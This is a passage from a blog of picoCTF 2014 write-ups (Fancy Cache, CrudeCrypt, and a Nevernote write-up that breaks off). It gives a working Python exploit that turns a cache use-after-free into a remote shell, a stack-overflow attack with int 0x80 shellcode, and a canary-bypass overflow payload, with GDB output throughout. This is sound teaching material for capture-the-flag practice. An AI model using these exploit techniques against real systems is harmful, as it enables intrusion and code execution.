Notice that we now make entry 3's key a string struct pointing to kSecretString. That way, we can look up entry 1 using the first four bytes of it ("Cong").<br />
<br />
Writing data back is almost exactly the same. Instead of doing cache_get() on keey3, we do cache_set() instead and provide the data we want to write. However, there is one problem. The cache_get() we do at the end of read_mem() will once again free the entry 2 string structs, completely messing up our heap layout. We want to make sure these entries don't get deleted, and just stay there.<br />
<br />
Turns out there's a little trick we can do. Lifetimes are signed values, but if we put negative numbers close to the threshold between positive and negative (0x7FFFFFFF), decrementing the value enough times will make it positive. Entry 2's lifetime is decremented twice, once in the initial lookup and once when we look it up as keey3. 0x7FFFFFFF+2 is 0x80000001, so we can make that entry 2's lifetime instead. So here's the final code, including the Telnet client connection:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> def read_mem(f, address):
# Add two entries to the cache
cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address, "val1", 0xffffffff)
cache_set(f, "key2", "val2", 0x80000001)
# Look up the second and then first entry, deleting both of them
cache_get(f, "key2")
cache_get(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address)
# Add a new entry to begin the exploit
cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08", "keey3", 5)
# Read the data
return unpack4(cache_get(f, "keey3"))
def write_mem(f, address, value):
# Free the first entry
cache_get(f, "Cong")
# Write the data
cache_set(f, "keey3", pack4(value), 0xffffffff)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vuln2014.picoctf.com', 4548))
f = s.makefile('rw', bufsize=0)
# Add /bin/sh as an entry
cache_set(f, "/bin/sh\x00", "stuff", 5)
# Read the address of memcmp()
memcmp_address = read_mem(f, "\x14\xb0\x04\x08")
# Use it to calculate the start of libc
libc_start = memcmp_address - 0x142870
# Calculate the address of system and write it back
system_address = libc_start + 0x40100
write_mem(f, "\x14\xb0\x04\x08", system_address)
# Write and then look up /bin/sh
cache_get(f, "/bin/sh\x00", True)
# Once you get the service to run a shell, this lets you send commands
# to the shell and get the results back :-)
print("Starting connection")
t = telnetlib.Telnet()
t.sock = s
print("Connection established")
t.interact()
</code></pre>
<br />
When we run this, we end up with a working remote shell! Let's navigate to /home/fancy_cache and collect our flag!<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> Starting connection
Connection established
ls
bin
boot
dev
etc
home
initrd.img
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
cd home
ls
bleichenbacher
easyoverflow
ecb
fancy_cache
guess
hardcore_owner
lowentropy
netsino
policerecords
ubuntu
cd fancy_cache
ls
fancy_cache
fancy_cache.sh
flag.txt
cat flag.txt
ebeip90_rules
</code></pre>
<br />
Well, actually, the flag is <b>that_wasnt_so_free_after_all</b>. But after picoCTF ended, someone on the IRC (named ebeip90, unsurprisingly) modified it. At least you got the flag in spirit. That concludes Fancy Cache!</div>
</div>
</div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-1645045780017662151.post-76919444930781455062014-11-14T01:01:00.000-03:002016-04-16T18:46:41.636-04:00picoCTF 2014: CrudeCrypt (binary180)CrudeCrypt is another 180 point binary exploitation problem. The challenge is based around a command line program which does AES encryption and decryption of files. As always, the goal is to find an exploit a vulnerability to get the flag. Let's take a look, shall we?<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> int main(int argc, char **argv) {
if(argc < 4) {
help();
return -1;
}
void (*action)(FILE*, FILE*, unsigned char*);
if(strcmp(argv[1], "encrypt") == 0) {
action = &encrypt_file;
// You shouldn't be able to encrypt files you don't have permission to.
setegid(getgid());
} else if(strcmp(argv[1], "decrypt") == 0) {
action = &decrypt_file;
} else {
printf("%s is not a valid action.\n", argv[1]);
help();
return -2;
}
char* src_file_path = argv[2];
char* out_file_path = argv[3];
char* file_password = calloc(1, PASSWORD_LEN);
printf("-=- Welcome to CrudeCrypt 0.1 Beta -=-\n");
FILE *src_file, *out_file;
if((src_file = fopen(src_file_path, "rb")) == NULL) {
printf("Could not open input file: %s\n", src_file_path);
return -3;
}
if((out_file = fopen(out_file_path, "wb")) == NULL) {
printf("Could not open output file: %s\n", out_file_path);
fclose(src_file); // Make sure to close the input file
return -3;
}
printf("-> File password: ");
fgets(file_password, PASSWORD_LEN, stdin);
printf("\n");
unsigned char digest[16];
hash_password(digest, file_password);
action(src_file, out_file, digest);
free(file_password);
fclose(src_file);
fclose(out_file);
return 0;
}
</code></pre>
<br />
We can easily deduce the arguments to CrudeCrypt. First is simply the mode of operation, either "encrypt" or "decrypt". Second are the source and destination filenames.<br />
<br />
After opening both files, it reads the file password from stdin and computes an MD5 hash of it.Finally, it just calls the necessary function to encrypt or decrypt the given file. Let's look at the encryption and decryption functions (irrelevant parts omitted for space):<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> #define HOST_LEN 32
#define MAGIC 0xc0dec0de
#define MIN(a,b) (((a)<(b))?(a):(b))
typedef struct {
unsigned int magic_number;
unsigned long file_size;
char host[HOST_LEN];
} file_header;
void safe_gethostname(char *name, size_t len) {
gethostname(name, len);
name[len-1] = '\0';
}
void init_file_header(file_header* header, unsigned long file_size) {
header->magic_number = MAGIC;
header->file_size = file_size;
}
void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {
int size = file_size(raw_file);
size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
char* padded_block = calloc(1, block_size);
file_header header;
init_file_header(&header, size);
safe_gethostname(header.host, HOST_LEN);
memcpy(padded_block, &header, sizeof(file_header));
fread(padded_block + sizeof(file_header), 1, size, raw_file);
if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {
printf("There was an error encrypting the file!\n");
return;
}
printf("=> Encrypted file successfully\n");
fwrite(padded_block, 1, block_size, enc_file);
free(padded_block);
}
bool check_hostname(file_header* header) {
char saved_host[HOST_LEN], current_host[HOST_LEN];
strncpy(saved_host, header->host, strlen(header->host));
safe_gethostname(current_host, HOST_LEN);
return strcmp(saved_host, current_host) == 0;
}
void decrypt_file(FILE* enc_file, FILE* raw_file, unsigned char* key) {
int size = file_size(enc_file);
char* enc_buf = calloc(1, size);
fread(enc_buf, 1, size, enc_file);
if(decrypt_buffer(enc_buf, size, (char*)key, 16) != 0) {
printf("There was an error decrypting the file!\n");
return;
}
char* raw_buf = enc_buf;
file_header* header = (file_header*) raw_buf;
if(header->magic_number != MAGIC) {
printf("Invalid password!\n");
return;
}
if(!check_hostname(header)) {
printf("[#] Warning: File not encrypted by current machine.\n");
}
printf("=> Decrypted file successfully\n");
int write_size = MIN(header->file_size, size - sizeof(file_header));
fwrite(raw_buf+sizeof(file_header), 1, write_size, raw_file);
free(enc_buf);
}
</code></pre>
<br />
encrypt_file() allocates a file header and stores the computer hostname inside. Then it concatenates the data from the input file to encrypt, and runs it through encrypt_buffer(), which performs AES128-CBC encryption on all the data (header and plaintext). After encryption, the ciphertext is written to the output file.<br />
decrypt_file() does the exact inverse of this, reading all the data, decrypting it with the same algorithm, verifying the header, and writing the decrypted data to the output file (not including the header).<br />
<br />
There are no obvious bugs in any of those functions, so let's turn to the header verification. The magic number check is straightforward, but how does it check the hostname?<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> bool check_hostname(file_header* header) {
char saved_host[HOST_LEN], current_host[HOST_LEN];
strncpy(saved_host, header->host, strlen(header->host));
safe_gethostname(current_host, HOST_LEN);
return strcmp(saved_host, current_host) == 0;
}
</code></pre>
<br />
What do we have here? In order to verify the stored hostname, it first copies it into saved_host, which is a 32-byte buffer stored on the stack. However, in order to determine how many bytes to copy, it calls strlen(header->host), which only stops at the first 0 byte in that string. Since we control the hostname in the file header, we can make check_hostname() copy as many bytes as we want.<br />
<br />
So now we just have a regular stack overflow bug. Nothing new, in fact, it's actually quite boring. There's only the caveat that whatever data is in this file will be decrypted before being given to check_hostname(). Luckily, this is an easy problem to deal with. We can make a modified CrudeCrypt binary that simply encrypts whatever data we give it.<br />
<br />
The very first thing we should do is figure out which part of the overflowing hostname actually controls the return address. Let's make a CrudeCrypt file full of recognizable patterns, run decryption in GDB, and see which address it crashes at:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-iBeJZI_hbG0/VGbAaVxEueI/AAAAAAAAAL8/6MGpk0qCwuU/s1600/datatest.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="244" src="https://3.bp.blogspot.com/-iBeJZI_hbG0/VGbAaVxEueI/AAAAAAAAAL8/6MGpk0qCwuU/s1600/datatest.png" width="400" /></a></div>
<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~$ gdb --args crude_crypt decrypt data_enc.bin data_out.bin
GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from crude_crypt...(no debugging symbols found)...done.
(gdb) run
Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: h4x
Program received signal SIGSEGV, Segmentation fault.
0x46464646 in ?? ()
(gdb)
</code></pre>
<br />
<br />
According to GDB, the crash is at address 0x46464646, which means that's what the return address was overwritten by. This sequence appears at offset 0x34 in the file, 0x2c bytes into the hostname. So now that we know which part of the hostname represents the return address, we need to figure out the hostname buffer's memory address so we can fill it with shellcode and jump to it properly.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 8048e28: 89 04 24 mov %eax,(%esp)
8048e2b: e8 10 fa ff ff call 8048840 <strncpy@plt>
</code></pre>
<br />
The hostname gets copied in using strncpy(), a call that appears here in the ASM. At 0x08048e28, the first argument to strncpy() (the hostname buffer) gets pushed onto the stack from EAX. If we set a GDB breakpoint here, we can see what's inside EAX.<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) b *0x08048e28
Breakpoint 1 at 0x8048e28
(gdb) run
Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: h4x
Breakpoint 1, 0x08048e28 in check_hostname ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0xffffd630</span></code><code style="color: black; word-wrap: normal;"> -10704
ecx 0x28 40
edx 0x804c368 134529896
ebx 0xf7dea000 -136404992
esp 0xffffd600 0xffffd600
ebp 0xffffd658 0xffffd658
esi 0x0 0
edi 0x0 0
eip 0x8048e28 0x8048e28 <check_hostname+37>
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
</code></pre>
<br />
The address in the official binary is actually slightly offset from what's shown here. I tracked it down to 0xffffd610, which does work with infinite loop shellcode. The program freezes until we quit with Ctrl-C:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-DTQ0K58lyQ0/VGbKyaTB8PI/AAAAAAAAAMM/B9yBhQ1G6IY/s1600/dataloop.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="242" src="https://3.bp.blogspot.com/-DTQ0K58lyQ0/VGbKyaTB8PI/AAAAAAAAAMM/B9yBhQ1G6IY/s1600/dataloop.png" width="400" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
With the address of the buffer down, we now have everything needed to write shellcode again. I have a piece of ASM for getting flag.txt that I used in almost every binary exploitation challenge, with only minor changes for each challenge. This ASM uses the <i>int 0x80</i> Linux syscall interface to open, read, and print out the flag. In this case, though, we need a slightly more substantial change, since the return address divides the shellcode into two pieces:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [BITS 32]
start:
mov ebp, 0xffffd610
xor eax, eax
mov al, 5
lea ebx, [ebp + 0x39]
xor edx, edx
mov [ebp + 0x41], dl
xor ecx, ecx
int 0x80
mov ebx, eax
xor eax, eax
mov al, 3
lea ecx, [ebp + 0x44]
xor edx, edx
mov dl, 36
int 0x80
lea esi, [ebp + 0x30]
call esi
nop
nop
nop
retaddr:
nop
nop
nop
nop
continue:
xor eax, eax
mov al, 4
xor ebx, ebx
inc ebx
int 0x80
filename db "flag.txta"
data:
</code></pre>
<br />
<br />
Aside from this, it's the exact same shellcode I used <a href="http://marionumber1.blogspot.com/2014/11/picoctf-2014-nevernote-binary180.html">to exploit Nevernote</a>. Now we can assemble our shellcode and copy it into the file. We should end up with this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-zuU-Kqlb0EY/VGbP1URJ_nI/AAAAAAAAAMc/sOa9JKKJ_CE/s1600/data.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="245" src="https://3.bp.blogspot.com/-zuU-Kqlb0EY/VGbP1URJ_nI/AAAAAAAAAMc/sOa9JKKJ_CE/s1600/data.png" width="400" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Encrypt it for use with CrudeCrypt, run the decryption, and we get this:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:~$ ./encrypt encrypt data.bin data_enc.bin
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: h4x
=> Encrypted file successfully
pico59150@shell:~$ cd /home/crudecrypt/
pico59150@shell:/home/crudecrypt$ ./crude_crypt decrypt ~/data_enc.bin ~/data_out.bin
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: h4x
writing_software_is_hard
þëþëþëþëþëþSegmentation fault (core dumped)
pico59150@shell:/home/crudecrypt$
</code></pre>
<br />
And that gets us another flag! Writing software is indeed hard, who am I to argue with that?Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1645045780017662151.post-33344848537164973972014-11-13T21:08:00.000-03:002016-04-16T18:33:51.431-04:00picoCTF 2014: Nevernote (binary180)Nevernote was a 180 point binary exploitation problem. Like most of the binary exploitation challenges, the goal is to find some vulnerability and exploit it to get the flag. This one, however, apparently uses a special library to detect buffer overflows. We'll have to contend with that if we want to get code execution. So let's jump in!<br />
<br />
Let's start by taking a look at the command processing function called by main():<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> void command_loop(){
char name[64];
char command[16];
char *note_file_path;
printf("Please enter your name: ");
fflush(stdout);
fgets(name, 64, stdin);
name[strcspn(name, "\n")] = '\0';
if (strchr(name, '.') || strchr(name, '/')){
printf("Bad character in name!\n");
return;
}
note_file_path = (char *)malloc(strlen(name)+64);
sprintf(note_file_path, "/home/nevernote/notes/%s", name);
while (true){
printf("Enter a command: ");
fflush(stdout);
if (fgets(command, 16, stdin) == NULL) goto exit;
switch (command[0]){
case 'a':
case 'A':
add_note(note_file_path);
break;
case 'v':
case 'V':
view_notes(note_file_path);
break;
case 'q':
case 'Q':
goto exit;
default:
puts("Commands: [a]dd_note, [v]iew_notes, [q]uit");
fflush(stdout);
break;
}
}
exit:
free(note_file_path);
return;
}
</code></pre>
<br />
The command loop is fairly self-explanatory, but just a few observations:<br />
<br />
<ul>
<li>Nevernote asks for a name in order to create a special directory for your notes. It also checks for characters like . and / which could alter the path, so we can't just point it at the parent directory and make the program read the flag for us.</li>
<li>Enough space is allocated to sprintf() the name into note_file_path, so there's no buffer vulnerability in there. Not like they'd make it this easy anyway.</li>
</ul>
<div>
<br /></div>
<br />
Now let's take a look at the function for adding a note, add_note(), along with the function that actually reads it in, get_note():<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> #define NOTE_SIZE 1024
bool get_note(char *dest){
struct safe_buffer temporary;
bool valid;
get_canary(&temporary.can);
printf("Write your note: ");
fflush(stdout);
fgets(temporary.buf, NOTE_SIZE, stdin);
// disallow some characters
if (strchr(temporary.buf, '\t') || strchr(temporary.buf, '\r')){
valid = false;
}else{
valid = true;
strncpy(dest, temporary.buf, NOTE_SIZE);
}
verify_canary(&temporary.can);
return valid;
}
void add_note(char *path){
char *new_note = (char *)malloc(NOTE_SIZE);
if (get_note(new_note) == true){ //note passed the check
FILE *f;
if ((f = fopen(path, "a")) == NULL){
puts("Cannot write note.");
fflush(stdout);
free(new_note);
exit(1);
}
fputs(new_note, f);
fclose(f);
puts("Note added.");
fflush(stdout);
}else{
puts("Your note contained invalid characters. Please try again.");
fflush(stdout);
}
free(new_note);
}
</code></pre>
<br />
add_note() allocates a buffer and invokes get_note() to read data into the buffer. get_note() allocates a "safe buffer" on the stack, reads 1024 bytes from stdin into it, checks for path characters, and then does a check on the safe buffer's canary. The safe buffer is likely the buffer overflow detection library mentioned, so let's see how it's implemented.<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> #define SAFE_BUFFER_SIZE 512
struct canary{
int canary;
int *verify;
};
/* buffer overflow resistant buffer */
struct safe_buffer{
char buf[SAFE_BUFFER_SIZE];
struct canary can;
};
</code></pre>
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> static void __canary_failure(int signo){
printf("Buffer overflow detected! Exiting.\n");
exit(0);
}
void get_canary(struct canary *c){
// store the canary on the heap for verification!
int *location = (int *)malloc(sizeof(int));
// use good randomness!
FILE *f = fopen("/dev/urandom", "r");
fread(location, sizeof(int), 1, f);
fclose(f);
c->verify = location;
c->canary = *location;
return;
}
void verify_canary(struct canary *c){
if (c->canary != *(c->verify)){
printf("Canary was incorrect!\n");
__canary_failure(1);
}
// we're all good; free the canary and return
free(c->verify);
return;
}
void register_segfault_handler(){
signal(SIGSEGV, __canary_failure);
}
</code></pre>
<br />
Right away, there's an apparent buffer overflow vulnerability. get_note() tries to read 1024 bytes into the safe buffer, which is only 512 bytes long. Since the safe buffer is stored on the stack, we can overwrite the return address and jump wherever we want. And because there's no NX or ASLR on this binary, we can just put shellcode inside the buffer and point back at it. But that's assuming that we won't be stopped by the canary.<br />
<br />
The canary contains a random value, which is verified against a copy of that same value on the heap. verify_canary(), called by get_note() after reading into the buffer, makes sure that the canary wasn't modified, and exits the program if it isn't. On the surface, it seems secure, but there's actually a pretty serious bug in this canary implementation. <b>Both</b> the canary we're checking and the pointer to the correct value are stored right after the buffer, so the buffer overflow extends to both of them. We can just point the correct value to a buffer whose value we know.<br />
<br />
(One aside: we do have to be careful with this. The buffer with the correct value is freed by verify_canary() right after. This means we can't just point it to anywhere. It has to actually be a buffer on the heap. Otherwise, the free() function will fail or crash.)<br />
<br />
So what's a heap buffer whose value we know? Well, there is note_file_path, way back in the command_loop() function. It always begins with "/home/nevernote/notes/", so we know the first 4 bytes, which is enough. We just need to find its address. There's no ASLR, so it's reasonable to assume that it'll be at the same place every time. We can find out the exact address by setting a GDB breakpoint in command_loop() right after malloc() returns and looking at EAX.<br />
<br />
Using objdump to print out a disassembly of nevernote shows the following code inside command_loop():<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 8048b2e: e8 9d fa ff ff call 80485d0 <malloc@plt>
8048b33: 89 45 f4 mov %eax,-0xc(%ebp)
</code></pre>
<br />
So the breakpoint should be placed at 0x08048b33. Let's do this:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) b *0x08048b33
Breakpoint 1 at 0x8048b33
(gdb) run
Starting program: /home/nevernote/nevernote
Please enter your name: george
Breakpoint 1, 0x08048b33 in command_loop ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0x804c008</span></code><code style="color: black; word-wrap: normal;"> 134529032
ecx 0xf7fc8420 -134446048
edx 0x804c008 134529032
ebx 0xf7fc8000 -134447104
esp 0xffffd6a0 0xffffd6a0
ebp 0xffffd718 0xffffd718
esi 0x0 0
edi 0x0 0
eip 0x8048b33 0x8048b33 <command_loop+168>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
</code></pre>
<br />
So the address of note_file_path will be 0x0804c008, and its first four bytes are "/hom". This is all the information we need to overwrite the canary without Nevernote noticing. Let's try this out to see if it actually works:<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> pico59150@shell:/home/nevernote$ { echo "george"; sleep 1; echo "a"; sleep 1; echo -n -e "aaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/hom\x08\xc0\x04\x08"; } | .
/nevernote
Please enter your name: Enter a command: Write your note: Cannot write note.
pico59150@shell:/home/nevernote$
</code></pre>
<br />
We use a series of echos because we need to send multiple stdin inputs to Nevernote. After entering a name and telling it to add a note, we enter a note that overflows the buffer. There are 512 "a" characters, followed by /hom and then the address of the known buffer (0x0804c008). As we can see, it passes the canary check and actually tries to write the note (though this fails). Now that the canary check works, we just need the address of the buffer, and then we can start writing shellcode!<br />
<br />
<pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> 80488ac: 8d 85 ec fd ff ff lea -0x214(%ebp),%eax
80488b2: 89 04 24 mov %eax,(%esp)
80488b5: e8 d6 fc ff ff call 8048590 <fgets@plt>
</code></pre>
<br />
This is right before the fgets() call in get_note(), so EAX (the first argument) will be the address of the buffer. We can use GDB again to get the address:<br />
<br />
<pre style="background: rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) b *0x080488b5
Breakpoint 1 at 0x80488b5
(gdb) run
Starting program: /home/nevernote/nevernote
Please enter your name: george
Enter a command: a
Write your note:
Breakpoint 1, 0x080488b5 in get_note ()
(gdb) info registers
eax </code><code style="word-wrap: normal;"><span style="color: red;">0xffffd454</span></code><code style="color: black; word-wrap: normal;"> -11180
ecx 0xf7fc9898 -134440808
edx 0x0 0
ebx 0xf7fc8000 -134447104
esp 0xffffd440 0xffffd440
ebp 0xffffd668 0xffffd668
esi 0x0 0
edi 0x0 0
eip 0x80488b5 0x80488b5 <get_note+79>
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
</code></pre>
<br />
GDB tells us that our buffer is located at 0xffffd454. Finally, we can start writing some shellcode to get the flag. There are multiple ways to do this, but I personally have boilerplate shellcode that makes several Linux kernel syscalls to open, read, and print out the flag. On Linux, syscalls are traditionally done with <i>int 0x80</i>.<br />
<br />
